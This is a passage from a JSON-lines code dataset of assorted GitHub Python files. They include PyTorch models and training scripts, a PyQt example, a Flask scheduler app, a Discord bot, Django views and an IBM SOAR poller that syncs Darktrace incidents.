\"\n \"Loading the model returned 'None'.\"\n )\n\n @classmethod\n def load(\n cls,\n meta: Dict[Text, Any],\n model_dir: Optional[Text] = None,\n model_metadata: Optional[Metadata] = None,\n cached_component: Optional[\"MitieNLP\"] = None,\n **kwargs: Any,\n ) -> \"MitieNLP\":\n import mitie\n\n if cached_component:\n return cached_component\n\n mitie_file = meta.get(\"model\")\n return cls(meta, mitie.total_word_feature_extractor(mitie_file))\n\n def persist(self, file_name: Text, model_dir: Text) -> Optional[Dict[Text, Any]]:\n\n return {\n \"mitie_feature_extractor_fingerprint\": self.extractor.fingerprint,\n \"model\": self.component_config.get(\"model\"),\n }\n","repo_name":"botfront/rasa-for-botfront","sub_path":"rasa/nlu/utils/mitie_utils.py","file_name":"mitie_utils.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"82"} +{"seq_id":"37628913947","text":"\"\"\"Model-Viewを使ったアプリケーション開発\nPyQtで用意されているModel-Viewクラスの利用\n使用例: リストとコンボボックスのデータ共有\n\n[説明ページ]\nhttps://tech.nkhn37.net/pyqt-model-view-class-basics/#i-3\n\"\"\"\nimport sys\n\nfrom PyQt6 import QtCore as qtc\nfrom PyQt6 import QtGui as qtg\nfrom PyQt6 import QtWidgets as qtw\n\n\nclass MainWindow(qtw.QWidget):\n \"\"\"メインウィンドウ\"\"\"\n\n def __init__(self):\n super().__init__()\n # 画面タイトルの設定\n self.setWindowTitle(\"Qt Model-View\")\n\n # ===== モデルを使った実装\n # データの定義\n list_data = [\"item01\", \"item02\", \"item03\", \"item04\", \"item05\"]\n\n # Modelを定義し、データを設定\n self.model = qtc.QStringListModel(list_data)\n\n # Viewの定義\n # リスト\n self.list_view = qtw.QListView()\n self.list_view.setModel(self.model)\n # コンボボックス\n self.combobox_view = qtw.QComboBox()\n self.combobox_view.setModel(self.model)\n\n # レイアウトを用意し部品を設定\n layout = qtw.QHBoxLayout()\n layout.addWidget(self.list_view)\n layout.addWidget(self.combobox_view)\n self.setLayout(layout)\n\n # 画面表示\n self.show()\n\n\ndef main():\n \"\"\"メイン関数\"\"\"\n app = qtw.QApplication(sys.argv)\n mv = MainWindow()\n sys.exit(app.exec())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nkhn37/python-tech-sample-source","sub_path":"python-libraries/pyqt/model-view-basics/datashare_list_combo.py","file_name":"datashare_list_combo.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38468312307","text":"import argparse\nimport os\nimport warnings\n\nimport torch\nimport torch.optim\n\nimport dataloader\nimport model\nimport Myloss\n\n# warnings.filterwarnings(\"ignore\", category=UserWarning) \n\ndef weights_init(m):\n\tclassname = m.__class__.__name__\n\tif classname.find('Conv') != -1:\n\t\tm.weight.data.normal_(0.0, 0.02)\n\telif classname.find('BatchNorm') != -1:\n\t\tm.weight.data.normal_(1.0, 0.02)\n\t\tm.bias.data.fill_(0)\n\n\ndef train(config):\n\timg_folder_path = config.lowlight_images_path\n\tif img_folder_path[-1] == '/':\n\t\timg_folder_path = img_folder_path[:len(img_folder_path)-1]\n\n\tif config.device == 'cuda':\n\t\tdevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\t\tif torch.cuda.is_available():\n\t\t\tos.environ['CUDA_VISIBLE_DEVICES']='0'\n\t\telse:\n\t\t\tprint('No CUDA GPU found! Using CPU...')\n\telse:\n\t\tdevice = torch.device('cpu')\n\n\tDCE_net = model.enhance_net_nopool().to(device)\n\n\tDCE_net.apply(weights_init)\n\tif config.load_pretrain == True:\n\t\tDCE_net.load_state_dict(torch.load(config.pretrain_dir, map_location= device))\n\ttrain_dataset = dataloader.lowlight_loader(img_folder_path)\t\n\tif len(train_dataset) < 1:\n\t\tprint('\\nNo .jpg file found. Please check your lowlight_images_path.')\n\t\treturn\n\ttrain_loader = torch.utils.data.DataLoader(train_dataset, batch_size=config.train_batch_size, shuffle=True, num_workers=config.num_workers, pin_memory=True)\n\n\tL_color = Myloss.L_color()\n\tL_spa = Myloss.L_spa(device)\n\tL_exp = Myloss.L_exp(16,0.6, device)\n\tL_TV = Myloss.L_TV()\n\tL_lp = Myloss.LPIPSloss(device)\n\t# L_cont = \tMyloss.ContrastLoss()\n\n\toptimizer = torch.optim.Adam(DCE_net.parameters(), lr=config.lr, weight_decay=config.weight_decay)\n\t\n\tDCE_net.train()\n\n\tfor epoch in range(config.num_epochs):\n\t\tfor iteration, img_lowlight in enumerate(train_loader):\n\n\t\t\timg_lowlight = img_lowlight.to(device)\n\n\t\t\tenhanced_image_, enhanced_image,A = DCE_net(img_lowlight)\n\n\t\t\tLoss_TV = 200*L_TV(A)\n\t\t\tloss_spa = torch.mean(L_spa(enhanced_image, img_lowlight))\n\t\t\tloss_col = 5*torch.mean(L_color(enhanced_image))\n\t\t\tloss_exp = 10*torch.mean(L_exp(enhanced_image))\n\t\t\tloss_lp = 3*torch.mean(L_lp(enhanced_image, img_lowlight))\n\t\t\t#loss_cont = 2*torch.mean(L_cont(enhanced_image, img_lowlight))\n\n\t\t\t# best_loss\n\t\t\tloss = Loss_TV + loss_spa + loss_col + loss_exp + loss_lp\n\n\t\t\toptimizer.zero_grad()\n\t\t\tloss.backward()\n\t\t\ttorch.nn.utils.clip_grad_norm_(DCE_net.parameters(),config.grad_clip_norm)\n\t\t\toptimizer.step()\n\n\t\tif ((epoch+1) % config.display_iter) == 0:\n\t\t\tprint(\"Loss at epoch\", epoch+1, \":\", loss.item())\n\n\t# 기존에 저장된 가중치 파일 중 가장 큰 숫자를 찾기\n\texisting_weights = [file for file in os.listdir(config.snapshots_folder) if file.startswith('weight_') and file.endswith('.pth')]\n\texisting_numbers = [int(file.split('_')[1].split('.')[0]) for file in existing_weights if int(file.split('_')[1].split('.')[0]) != 888 and int(file.split('_')[1].split('.')[0]) != 999]\n\tif existing_numbers:\n\t\tmax_existing_number = max(existing_numbers)\n\telse:\n\t\tmax_existing_number = -1\n\n\t# 888번과 999번을 무시하고 다음 가중치 파일의 숫자를 찾기\n\tnext_number = max(max_existing_number + 1, 0)\n\twhile next_number in existing_numbers or next_number == 888 or next_number == 999:\n\t\tnext_number += 1\n\n\t# 가중치 저장하기\n\ttorch.save(DCE_net.state_dict(), config.snapshots_folder + \"/weight_\" + str(next_number) + '.pth')\n\n\tprint(f'\\nTrain finished. weight_{str(next_number)}.pth saved to {config.snapshots_folder}.')\t\n\n\n\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser()\n\n\t# Input Parameters\n\tparser.add_argument('--device', type=str, default='cuda')\n\tparser.add_argument('--lowlight_images_path', type=str, default=\"sample_data/train_data\")\n\tparser.add_argument('--lr', type=float, default=0.0001)\n\tparser.add_argument('--weight_decay', type=float, default=0.0001)\n\tparser.add_argument('--grad_clip_norm', type=float, default=0.1)\n\tparser.add_argument('--num_epochs', type=int, default=200)\n\tparser.add_argument('--train_batch_size', type=int, default=8)\n\tparser.add_argument('--val_batch_size', type=int, default=4)\n\tparser.add_argument('--num_workers', type=int, default=4)\n\tparser.add_argument('--display_iter', type=int, default=10)\n\tparser.add_argument('--snapshots_folder', type=str, default=\"snapshots/\")\n\tparser.add_argument('--load_pretrain', type=bool, default= False)\n\tparser.add_argument('--pretrain_dir', type=str, default= \"snapshots/weight_999.pth\")\n\n\tconfig = parser.parse_args()\n\n\tif not os.path.exists(config.snapshots_folder):\n\t\tos.mkdir(config.snapshots_folder)\n\n\ttrain(config)\n\n\n\n\n\n\n\n\n\t","repo_name":"Takaluk/Enhanced_Zero-DCE","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4560,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"24013492393","text":"from torch.nn import functional\n\nfrom torch import nn\n\n\nclass MLP(nn.Module):\n def __init__(self, dim_in, dim_hidden, dim_out):\n super(MLP, self).__init__()\n self.layer_input = nn.Linear(dim_in, dim_hidden)\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout()\n self.layer_hidden = nn.Linear(dim_hidden, dim_out)\n self.softmax = nn.Softmax(dim=1)\n\n def forward(self, precede):\n precede = precede.view(-1, precede.shape[1] * precede.shape[2] * precede.shape[-1])\n precede = self.layer_inout(precede)\n precede = self.dropout(precede)\n precede = self.relu(precede)\n precede = self.layer_hidden(precede)\n return self.softmax(precede)\n\n\nclass CNN(nn.Module):\n def __init__(self, args):\n super(CNN, self).__init__()\n self.con1 = nn.Conv2d(in_channels=args.chan_numbers, out_channels=10, kernel_size=(5, 5))\n self.BN1 = nn.BatchNorm2d(10)\n self.con2 = nn.Conv2d(in_channels=10, out_channels=20, kernel_size=(5, 5))\n self.BN2 = nn.BatchNorm2d(20)\n self.con_drop = nn.Dropout2d()\n self.l1 = nn.Linear(320, 50)\n # self.GN = nn.GroupNorm(num_groups=2, num_channels=10, eps=1e-5, affine=True)\n # the reason why 320 is not clear,\n self.l2 = nn.Linear(50, args.class_numbers)\n self.relu = nn.ReLU()\n\n def forward(self, pre):\n pre = self.relu(functional.max_pool2d(self.con1(pre), 2))\n # pre = self.GN(pre)\n pre = self.relu(functional.max_pool2d(self.con_drop(self.con2(pre)), 2))\n #pre = self.BN2(pre)\n pre = pre.view(-1, pre.shape[1]*pre.shape[2]*pre.shape[3])\n pre = self.l1(pre)\n pre = self.relu(pre)\n pre = functional.dropout(pre, training=self.training)\n pre = self.l2(pre)\n\n return functional.log_softmax(pre, dim=1)\n\n\n\n\n\n\n","repo_name":"diabloyqm/test","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70190295947","text":"from flask import Flask\r\nfrom myapp import timer_inteval\r\nfrom flask_apscheduler import APScheduler\r\n\r\n\"\"\"\r\n@ author:xi\r\n@ 微信:xwh_args\r\n@ 2022-04-19\r\n\"\"\"\r\n\r\napp = Flask(__name__) # 实例化flask\r\n\r\n\r\n@app.route(\"/\")\r\ndef hello():\r\n return \"hello world\"\r\n\r\n\r\n# 配置定时任务\r\napp.config.from_object(timer_inteval.Config()) # 为实例化的 flask 引入配置\r\nscheduler = APScheduler() # 实例化 APScheduler\r\nscheduler.init_app(app) # 把任务列表放入 flask\r\nscheduler.start() # 启动任务列表\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run()","repo_name":"xwh70/EnterpriseWxRobot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"9170526838","text":"'''\nMyFirstBot#9854\n'''\n\nimport asyncio\n\nimport discord\nfrom discord import Activity, ActivityType\nfrom discord.ext.commands import Bot, Context, when_mentioned_or\nfrom discord.ext.commands.errors import CheckFailure\nfrom emoji import EMOJI_ALIAS_UNICODE as EMOJIS\n\nfrom cogs import OthersGog, GamesCog\nfrom helpcmd import MyHelpCommand\nfrom constants import BOT_TOKEN, CHANNELS_NAMES, COMMAND_PREFIX\n\nclass MyFirstBot(Bot):\n def __init__(self, *args, **kwargs):\n # make token a field to be accessible without reloading env\n self.TOKEN = BOT_TOKEN\n\n # bot will respond when mentioned and to a command prefix\n command_prefix = when_mentioned_or(COMMAND_PREFIX)\n # custom help command\n help_command = MyHelpCommand()\n # instantiate bot from parent class\n super().__init__(command_prefix, help_command=help_command, *args, **kwargs)\n\n # register cogs (commands)\n self.add_cog(OthersGog(self))\n self.add_cog(GamesCog(self))\n\n async def on_ready(self):\n # listening to\n activity = Activity(name='mentions or .help', type=ActivityType.listening)\n await self.change_presence(activity=activity)\n print(f'Logged in as {self.user}')\n\n async def on_command_error(self, context: Context, error):\n print(f'\\tError: {error}')\n # if a member doesn't have permission to use a command\n if isinstance(error, CheckFailure):\n pensive = EMOJIS[':pensive:']\n text = f\"Sorry {context.message.author.mention}, you don't have permission to use this command {pensive}\"\n await context.send(text)\n\n async def count_in_background(self, seconds=60):\n '''\n Counts minutes in background.\n '''\n await self.wait_until_ready()\n\n # retrieve specified channels from .env\n channels = [\n discord.utils.get(guild.text_channels, name=channel_name)\n for guild, channel_name in zip(self.guilds, CHANNELS_NAMES)\n ]\n\n counter = 0\n while not self.is_closed():\n for channel in channels:\n text = f'{counter} minutes'\n await channel.send(text)\n\n await asyncio.sleep(seconds)\n counter += seconds / 60\n","repo_name":"netotz/discord-sandbox","sub_path":"my_first_bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"3181255454","text":"# -*- coding: utf-8 -*-\n'''\n@Time : 2022/8/16 10:50\n@Author : KingRyu\n@Email : 1050087553@qq.com\n@Project : SA-ConvLSTM\n@File : links.py\n@Language: Python3\n'''\n\nfrom collections import OrderedDict\nfrom torch import nn\n\ndef interlinkage(link_params):\n layers = []\n for layer_name, params in link_params.items():\n if 'upsample' in layer_name:\n layer = nn.UpsamplingNearest2d(size=params[0], scale_factor=params[1])\n layers.append((layer_name, layer))\n elif 'pool' in layer_name:\n layer = nn.MaxPool2d(params[0], params[1], params[2])\n layers.append((layer_name, layer))\n elif 'deconv' in layer_name:\n deconv2d = nn.ConvTranspose2d(\n in_channels=params[0],\n out_channels=params[1],\n kernel_size=params[2],\n stride=params[3],\n padding=params[4])\n layers.append(('deconv', deconv2d))\n if 'relu' in layer_name:\n layers.append(('relu', nn.ReLU(inplace=True)))\n elif 'leaky' in layer_name:\n layers.append(('leaky', nn.LeakyReLU(negative_slope=0.2, inplace=True)))\n elif 'conv' in layer_name:\n conv2d = nn.Conv2d(\n in_channels=params[0],\n out_channels=params[1],\n kernel_size=params[2],\n stride=params[3],\n padding=params[4]\n )\n layers.append(('conv', conv2d))\n if 'relu' in layer_name:\n layers.append(('relu', nn.ReLU(inplace=True)))\n elif 'leaky' in layer_name:\n layers.append(('leaky', nn.LeakyReLU(negative_slope=0.2, inplace=True)))\n else:\n raise NotImplementedError\n return nn.Sequential(OrderedDict(layers))\n\n\n\n","repo_name":"KingRyu1998/SA-ConvLSTM-Pytorch","sub_path":"links.py","file_name":"links.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"40777316753","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom .models import *\nimport bcrypt\n\n\ndef index(request):\n if 'user_id' in request.session:\n return redirect('/dashboard')\n return render(request, 'main/index.html')\n\n\ndef dash(request):\n if 'user_id' not in request.session:\n return redirect('/')\n \n\n context = {\n 'your_trips' : Trip.objects.filter(created_by__id=request.session['user_id']),\n 'other_trips' : Trip.objects.exclude(created_by__id=request.session['user_id']),\n 'unjoined_trips' : Trip.objects.exclude(created_by = User.objects.get(id = request.session['user_id'])).exclude(join = User.objects.get(id = request.session['user_id'])),\n }\n\n return render(request, 'main/dashboard.html', context)\n\ndef process_reg(request):\n potential_errors = User.objects.validate_user(request.POST)\n if len(potential_errors):\n for key, val in potential_errors.items():\n messages.error(request, val, extra_tags=key)\n return redirect('/')\n\n hash = bcrypt.hashpw(request.POST['password'].encode(), bcrypt.gensalt())\n user = User.objects.create(\n first_name=request.POST['fname'], last_name=request.POST['lname'], email=request.POST['email'], password=hash)\n request.session['user_id'] = user.id\n request.session['user'] = user.first_name\n print('success')\n print(User.objects.all().values())\n return redirect('/dashboard')\n\n\ndef process_log(request):\n potential_errors = User.objects.validate_user(request.POST)\n if len(potential_errors):\n for key, val in potential_errors.items():\n messages.error(request, val, extra_tags=key)\n return redirect('/')\n else:\n user = User.objects.get(email=request.POST['checkemail'])\n request.session['user_id'] = user.id\n request.session['user'] = user.first_name\n return redirect('/dashboard')\n\n\ndef logout(request):\n request.session.clear()\n return redirect('/')\n\ndef new(request):\n if 'user_id' not in request.session:\n return redirect('/')\n return render(request, 'main/new.html')\n\ndef process_new(request):\n if 'user_id' not in request.session:\n return redirect('/')\n\n potential_errors = Trip.objects.validate_trip(request.POST)\n if len(potential_errors):\n for key, val in potential_errors.items():\n messages.error(request, val, extra_tags = key)\n return redirect('/new')\n\n creator = User.objects.get(id=request.session['user_id'])\n Trip.objects.create(dest=request.POST['dest'], plan = request.POST['plan'], start_date=request.POST['start'], end_date = request.POST['end'], created_by=creator)\n\n print(Trip.objects.all().values())\n return redirect('/dashboard')\n\ndef trip(request, number):\n if 'user_id' not in request.session:\n return redirect('/')\n\n trip = Trip.objects.get(id=number)\n context = {\n 'trip' : trip,\n 'joined': trip.join.all().values()\n }\n return render(request, 'main/view.html', context)\n\ndef remove(request, number):\n if 'user_id' not in request.session:\n return redirect('/')\n\n d = Trip.objects.get(id=number)\n d.delete()\n return redirect('/dashboard')\n\ndef edit(request, number):\n if 'user_id' not in request.session:\n return redirect('/')\n\n context = {\n 'trip' : Trip.objects.get(id=number)\n }\n \n return render(request, 'main/edit.html', context) \n\ndef process_edit(request, number):\n if 'user_id' not in request.session:\n return redirect('/')\n\n potential_errors = Trip.objects.validate_trip(request.POST)\n if len(potential_errors):\n for key, val in potential_errors.items():\n messages.error(request, val)\n return redirect('/trips/edit/' +number)\n\n\n update = Trip.objects.get(id=number)\n update.dest = request.POST['dest']\n update.plan = request.POST['plan']\n update.start_date = request.POST['start']\n update.end_date = request.POST['end']\n update.save()\n return redirect('/dashboard')\n\ndef join(request, number):\n if 'user_id' not in request.session:\n return redirect('/')\n\n this_user = User.objects.get(id=request.session['user_id'])\n this_trip = Trip.objects.get(id=number)\n this_trip.join.add(this_user)\n return redirect('/dashboard')\n\ndef cancel(request, number):\n if 'user_id' not in request.session:\n return redirect('/')\n\n this_user = User.objects.get(id=request.session['user_id'])\n this_trip = Trip.objects.get(id=number)\n this_trip.join.remove(this_user)\n return redirect('/dashboard')\n","repo_name":"kyle-ewing/Django-Sample","sub_path":"apps/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37137585356","text":"#!/usr/bin/env python\n\"\"\"\nFile: decompressing_file.py\nDescription: Decompressing file.\nCreateDate: 2022/4/22\nAuthor: xuwenlin\nE-mail: wenlinxu.njfu@outlook.com\n\"\"\"\nfrom gzip import GzipFile\n\n\ndef ungz(gz_file):\n \"\"\"Decompressing gz file.\"\"\"\n with open(gz_file.replace('.gz', ''), 'ab') as out:\n for line in GzipFile(gz_file):\n out.write(line)\n return gz_file.replace('.gz', '')\n","repo_name":"wenlinXu-njfu/biopy_v1.1.0","sub_path":"pybioinformatic/decompressing_file.py","file_name":"decompressing_file.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6878415580","text":"# -*- coding: utf-8 -*-\n# pragma pylint: disable=unused-argument, no-self-use\n\"\"\"Poller implementation\"\"\"\n\nimport logging\nimport os\nfrom threading import Thread\n\nfrom fn_darktrace.lib.app_common import PACKAGE_NAME, AppCommon\nfrom fn_darktrace.poller.configure_tab import init_incident_groups_tab\nfrom resilient_circuits import AppFunctionComponent, is_this_a_selftest\nfrom resilient_lib import (SOARCommon, get_last_poller_date,\n make_payload_from_template, poller)\n\nENTITY_ID = \"id\"\nENTITY_CLOSE_FIELD = \"acknowledged\"\nSOAR_ENTITY_ID_FIELD = \"darktrace_aianalyst_incident_group_id\" # name of custom IBM SOAR case field to retain the endpoint entity_id\nENTITY_LABEL = \"AI Analyst Incident\" # label the name the case, alert, event, etc. native to your endpoint solution\nENTITY_COMMENT_HEADER = \"Created by Darktrace\" # header used to identify comments create by the endpoint entity\n\nTIME_FORMAT = \"%Y-%m-%d %H:%M:%S\"\nURL_FORMATTER = \"{1}\"\nSPAN_FORMATTER = \"{0}\"\n\n# Directory of default templates\nTEMPLATE_DIR = os.path.join(os.path.dirname(__file__), \"data\")\n\ndef get_template_dir():\n # quick property to get template directory\n return TEMPLATE_DIR\n\nLOG = logging.getLogger(__name__)\n\n# Default Templates used to create/update/close SOAR cases.\n# Mostly they will be modified to include custom SOAR fields\nCREATE_INCIDENT_TEMPLATE = os.path.join(TEMPLATE_DIR, \"soar_create_incident.jinja\")\nUPDATE_INCIDENT_TEMPLATE = os.path.join(TEMPLATE_DIR, \"soar_update_incident.jinja\")\nCLOSE_INCIDENT_TEMPLATE = os.path.join(TEMPLATE_DIR, \"soar_close_incident.jinja\")\n\ndef init_app(rc, app_configs, integrations_configs):\n \"\"\"\n Intialize settings used for Darktrace\n\n :param rc: RequestsCommon class for making API calls\n :type rc: ``resilient_lib.RequestsCommon``\n :param options: app.config settings for the app\n :type options: dict\n :return: class to app class for ongoing API calls\n :rtype: ``AppCommon``\n \"\"\"\n endpoint_class = AppCommon(rc, app_configs, integrations_configs)\n\n init_incident_groups_tab()\n\n return endpoint_class\n\ndef query_entities(app_common: AppCommon, last_poller_time):\n \"\"\"\n Method call to query the endpoint solution for newly created or \n modified entities for synchronization with IBM SOAR\n\n :param app_common: class for app API calls\n :type app_common: obj\n :param last_poller_time: timestamp in milliseconds to collect the changed entities (alerts, cases, etc.)\n :type last_poller_time: int\n :return: list of entities to synchronize with SOAR\n :rtype: list\n \"\"\"\n query_results = []\n\n # enter the code needed to perform a query to the endpoint platform, using the last_poller_time to\n # identify entities changed since that timestamp.\n # use *args and **kwargs to collect urls, api_keys, etc. needed for API call(s).\n # query_entities_since_ts(last_poller_time, *args, **kwargs)\n query_results = app_common.query_entities_since_ts(last_poller_time)\n\n return query_results\n\n\ndef get_entity_id(entity):\n \"\"\"\n Get the id for the entity returned in your query\n\n :param entity: data structure of an entity\n :type entity: dict\n :return: entity_id to use\n :rtype: str\n \"\"\"\n return entity.get(ENTITY_ID)\n\ndef is_entity_closed(entity):\n \"\"\"\n Determine if your entity is in a closed state\n\n :param entity: data structure of an entity\n :type entity: dict\n :return: true/false if entity is closed\n :rtype: bool\n \"\"\"\n return bool(entity.get(ENTITY_CLOSE_FIELD, False))\n\nclass PollerComponent(AppFunctionComponent):\n \"\"\"\n poller for escalating SOAR incidents and synchronizing changes\n \"\"\"\n\n def __init__(self, opts):\n \"\"\"\n Constructor provides access to the configuration options\n\n :param opts: all settings including SOAR settings\n :type opts: dict\n \"\"\"\n # Validate required fields in app.config are set\n required_fields = [\"polling_interval\", \"polling_lookback\"]\n\n super(PollerComponent, self).__init__(opts, PACKAGE_NAME, required_app_configs=required_fields)\n\n # collect settings necessary and initialize libraries used by the poller\n if not self._init_env(opts, self.options):\n LOG.info(\"Poller interval is not configured. Automated escalation is disabled.\")\n return\n\n poller_thread = Thread(target=self.run)\n poller_thread.daemon = True\n poller_thread.start()\n\n def _init_env(self, opts, options):\n \"\"\"\n Initialize the environment based on app.config settings\n\n :param opts: all settings including SOAR settings\n :type opts: dict\n :param options: settings specific to this app\n :type options: dict\n :return: True if poller is configured\n :rtype: bool\n \"\"\"\n self.polling_interval = float(options.get(\"polling_interval\", 0))\n if not self.polling_interval or is_this_a_selftest(self):\n LOG.debug(\"Exiting poller because polling interval set to 0 or this run is a selftest.\")\n return False\n\n LOG.info(\"Poller initiated, polling interval %s\", self.polling_interval)\n self.last_poller_time = get_last_poller_date(int(options.get(\"polling_lookback\", 0)))\n LOG.info(\"Poller lookback: %s\", self.last_poller_time)\n\n # collect the override templates to use when creating, updating and closing cases\n self.soar_create_case_template = options.get(\"soar_create_case_template\")\n self.soar_update_case_template = options.get(\"soar_update_case_template\")\n self.soar_close_case_template = options.get(\"soar_close_case_template\")\n\n # rest_client is used to make IBM SOAR API calls\n self.rest_client = self.rest_client()\n self.soar_common = SOARCommon(self.rest_client)\n self.app_common = init_app(self.rc, options, opts.get(\"integrations\", {}))\n\n return True\n\n @poller(\"polling_interval\", \"last_poller_time\")\n def run(self, *args, **kwargs):\n \"\"\"\n Process to query for changes in datasource entities and the cooresponding update SOAR case.\n The steps taken are:\n 1) query SOAR for all open entities associated with the datasource\n 2) query datasource entities for changes based on these incidents\n 3) determine SOAR actions to take: create, update, or close a case\n\n :param last_poller_time: time in milliseconds when the last poller ran\n :type last_poller_time: int\n \"\"\"\n\n # get the list of entities (alerts, cases, etc.) to insert, update or close as cases in IBM SOAR\n query_results = query_entities(self.app_common, kwargs[\"last_poller_time\"])\n\n if query_results:\n # iterate over all the entities.\n self.process_query_list(query_results)\n\n # get list of open cases in SOAR that were created by Darktrace\n # in order to update them with new comments or close them if they've\n # been acknowledged in Darktrace\n all_open_cases_from_darktrace, _ = self.soar_common.get_soar_cases({SOAR_ENTITY_ID_FIELD: True}, open_cases=True)\n if all_open_cases_from_darktrace:\n if self.app_common.auto_sync_comments:\n self.update_comments(all_open_cases_from_darktrace)\n self.close_case_if_acknowledged_in_darktrace(all_open_cases_from_darktrace)\n\n def process_query_list(self, query_results, allow_updates=True):\n \"\"\"\n Perform all the processing on the entity list, creating, updating and closing SOAR\n cases based on the states of the endpoint entities.\n\n The logic is to determine if a SOAR case needs to be created, updated or closed, and\n apply the correct template file to apply the field changes.\n\n :param query_results: list of endpoint entities to check against SOAR cases\n :type query_results: list\n \"\"\"\n\n try:\n cases_insert = cases_closed = cases_updated = 0\n for incident_group in query_results:\n\n entity_id = get_entity_id(incident_group)\n\n # determine if this is an existing SOAR case\n soar_case, _error_msg = self.soar_common.get_soar_case({ SOAR_ENTITY_ID_FIELD: entity_id }, open_cases=False)\n\n # if case does not exist, create a new one\n if not soar_case:\n # create the SOAR case\n soar_create_payload = make_payload_from_template(\n self.soar_create_case_template,\n CREATE_INCIDENT_TEMPLATE,\n incident_group)\n create_soar_case = self.soar_common.create_soar_case(soar_create_payload)\n\n soar_case_id = create_soar_case.get(\"id\") # get newly created case_id\n\n # comments are associated with events, thus, we'll post the comment to the first event\n # TODO: reimplement this once Darktrace has exposed this endpoint fully for our use\n # comment_content = f\"Synced to SOAR Case {soar_case_id}\"\n # first_incident_event_id = incident_group.get(\"incidentEvents\")[0].get(\"uuid\")\n # self.app_common.add_incident_group_comment(first_incident_event_id, comment_content, capture_error=True)\n\n cases_insert += 1\n LOG.info(\"Created SOAR case %s from %s %s\", soar_case_id, ENTITY_LABEL, entity_id)\n else:\n soar_case_id = soar_case.get(\"id\")\n\n if is_entity_closed(incident_group):\n if soar_case.get(\"plan_status\", \"C\") == \"A\":\n # close the SOAR case only if active\n soar_close_payload = make_payload_from_template(\n self.soar_close_case_template,\n CLOSE_INCIDENT_TEMPLATE,\n incident_group)\n _close_soar_case = self.soar_common.update_soar_case(soar_case_id, soar_close_payload)\n\n cases_closed += 1\n LOG.info(\"Closed SOAR case %s from %s %s\", soar_case_id, ENTITY_LABEL, entity_id)\n elif allow_updates:\n # perform an update operation on the existing SOAR case\n soar_update_payload = make_payload_from_template(\n self.soar_update_case_template,\n UPDATE_INCIDENT_TEMPLATE,\n incident_group)\n self.soar_common.update_soar_case(soar_case_id, soar_update_payload)\n\n cases_updated += 1\n LOG.info(\"Updated SOAR case %s from %s %s\", soar_case_id, ENTITY_LABEL, entity_id)\n\n if cases_insert or cases_closed or cases_updated:\n LOG.info(\"IBM SOAR cases created: %s, cases closed: %s, cases updated: %s\",\n cases_insert, cases_closed, cases_updated)\n except Exception as err:\n LOG.error(\"%s poller run failed: %s\", PACKAGE_NAME, str(err))\n\n def update_comments(self, cases):\n \"\"\"\n Runs through every open Darktrace case in SOAR and\n sees if there are any new comments to sync across.\n If there are, they are posted individually as a comment in SOAR\n\n NOTE: This method can be heavy time-wise if there are a lot of open\n cases from Darktrace in SOAR. That is why there is the option to disable\n comment syncing. See the config.py file for more info.\n\n :param cases: list of SOAR case objects\n :type cases: list[dict]\n \"\"\"\n for case in cases:\n case_id = case.get(\"id\")\n case_darktrace_group_id = case.get(\"properties\", {}).get(SOAR_ENTITY_ID_FIELD)\n\n comments = self.app_common.query_group_comments(case_darktrace_group_id)\n\n if comments:\n comments = self.soar_common.filter_soar_comments(case_id, comments)\n\n for comment in comments:\n LOG.info(\"Added comment from Darktrace to IBM SOAR case %s\", case_id)\n LOG.debug(\"Comment details: %s\", comment)\n self.soar_common.create_case_comment(case_id, comment)\n\n def close_case_if_acknowledged_in_darktrace(self, cases):\n \"\"\"\n Generate a list of group objects based on the current\n open cases from Darktrace in SOAR and see if they need\n to be closed in SOAR (i.e. they've been \"acknowledged\")\n in Darktrace.\n\n :param cases: list of SOAR case objects\n :type cases: list[dict]\n \"\"\"\n # for efficiency (only one API call), get a list of all the group_ids and join\n # them together in a comma-separated string to use in the get_incident_groups API call\n group_ids = \",\".join([case.get(\"properties\", {}).get(SOAR_ENTITY_ID_FIELD) for case in cases])\n incident_groups = self.app_common.get_incident_groups({\"groupid\": group_ids})\n\n # if no incident groups were found, exit gracefully\n if not incident_groups:\n return\n\n # process each case and close if needed (i.e. if the case is currently open and\n # should be moved to closed because the incident group is \"acknowledged\")\n # but don't make any updates to the case as that is handled elsewhere\n # and would be too frequent (thus the `allow_updates=False`)\n self.process_query_list(incident_groups, allow_updates=False)\n","repo_name":"ibmresilient/resilient-community-apps","sub_path":"fn_darktrace/fn_darktrace/poller/poller.py","file_name":"poller.py","file_ext":"py","file_size_in_byte":13718,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"82"} +{"seq_id":"33401371646","text":"import numpy as np\nfrom tkinter import *\nfrom tkinter import ttk\n\nroot = Tk()\nroot.title(\"Linear Calculator\")\nmainframe = ttk.Frame(root, padding=\"55 55 55 55\")\nmainframe.grid(column=0, row=0, sticky=(N, W, E, 